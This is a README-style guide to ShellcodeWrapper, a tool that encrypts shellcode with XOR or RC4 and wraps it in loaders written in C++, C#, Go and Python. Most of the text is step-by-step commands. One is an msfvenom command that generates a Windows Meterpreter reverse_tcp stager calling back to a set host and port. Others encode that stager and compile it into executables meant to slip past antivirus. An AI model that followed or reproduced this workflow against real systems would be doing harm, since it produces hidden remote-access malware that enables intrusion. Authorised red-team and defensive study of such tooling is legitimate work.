Modify: Ch1ng
The technique uses two kind of code file:
- The shellcode encoder/encrypter:
shellcode_encoder.py
- Various shellcode wrapper, in C++, C#, Binary and Python:
encryptedShellcodeWrapper.cpp
- only supports XOR encryptionencryptedShellcodeWrapper.go
- only supports XOR encryptionencryptedShellcodeWrapper.cs
- supports both XOR and RC4 encryptionencryptedShellcodeWrapper.py
- supports both XOR and RC4 encryptionencryptedShellcodeWrapper.bin
- supports both XOR and RC4 encryption
Installation is straight forward:
- Git clone this repository:
git clone https://github.com/Arno0x/ShellcodeWrapper ShellcodeWrapper
- cd into the ShellcodeWrapper folder:
cd ShellcodeWrapper
- Install requirements using
pip install -r requirements.txt
- Give the execution rights to the main script:
chmod +x shellcode_encoder.py
First, you need to obtain a usable shellcode from metasploit (run it from a Kali distribution), for example:
root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw
In this example, the output is a raw (unencoded & unencrypted) reverse_tcp meterpreter stager for x86 platform. You should adapt it to your needs (payload and parameters).
Second, run the shellcode_encoder.py
script along with the desired arguments:
- raw shellcode filename
- encryption key
- encryption type:
xor
orrc4
- desired output:
base64
,cpp
,csharp
,python
,binary
,go
For instance, to xor encrypt the shellcode with the key 'thisismykey' and get an output code file in C#, C++, Go, Binary and Python:
root@kali:~# ./shellcode_encoder.py -cpp -cs -py -bin -go shellcode.raw xor
This will generate C#, C++, Go, Binary and Python code file in the result
folder. Those files are ready to use/compile.
Eventually:
- For the C++ wrapper, compile the C++ code file into a Windows executable: you can create a new VisualStudio project for Win32 console application and use the C++ code provided as the main file. Any other method of compilation will require slight adjustment of the C++ code (headers mostly).
- For the C# wrapper, compile the C# code file into a Windows executable:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:multibyteEncodeShellcode.exe multibyteEncodeShellcode.cs
- For the Python wrapper, just run it as a python script, or use PyInstaller to make it a Windows standalone executable